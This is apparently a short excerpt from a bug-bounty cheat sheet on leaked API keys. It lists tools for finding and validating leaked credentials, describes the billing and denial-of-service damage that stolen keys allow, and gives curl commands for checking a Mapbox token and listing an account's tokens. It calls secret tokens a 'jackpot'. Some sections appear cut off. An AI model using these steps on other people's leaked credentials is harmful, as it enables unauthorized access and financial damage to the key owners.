API Key and Token Leaks

The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.

Summary

Tools

  • streaak/keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
  • trufflesecurity/truffleHog - Find credentials all over the place
    ## Scan a Github Organization

Impact:

  • Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
  • Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account

Mapbox API Token

A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is sk, jackpot. If it's pk or tk, it's not worth your time.

  • Check token validity:

    curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
    
  • Get list of all tokens associated with an account (only works if the token is a Secret Token (sk), and has the appropriate scope)

    curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
